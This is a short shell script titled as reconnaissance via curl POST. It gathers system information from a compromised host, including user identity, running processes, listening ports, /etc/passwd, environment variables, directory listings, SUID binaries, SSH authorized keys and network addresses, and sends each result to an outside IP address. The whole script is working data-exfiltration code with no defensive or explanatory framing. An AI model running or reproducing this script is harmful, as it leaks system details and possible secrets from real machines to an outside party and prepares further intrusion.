#!/bin/sh # Recon via curl POST (id; whoami; hostname; uname -a; pwd) 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/recon (ps aux 2>&1 | head -30) | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/ps (ss -tlnp 2>&1 || netstat -tlnp 2>&1) | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/ports (cat /etc/passwd 2>&1) | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/passwd (env 2>&1 | head -30) | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/env (ls -la / 2>&1) | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/rootdir (ls -la /home/ 2>&1; ls -la /app/ 2>&1; ls -la /data/ 2>&1; ls -la /opt/ 2>&1) | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/dirs (find / -perm -4000 -type f 2>&1 | head -20) | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/suid (cat ~/.ssh/authorized_keys 2>&1) | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/sshkeys (df -h 2>&1) | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/disk (ip addr 2>&1 || ifconfig 2>&1) | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/ip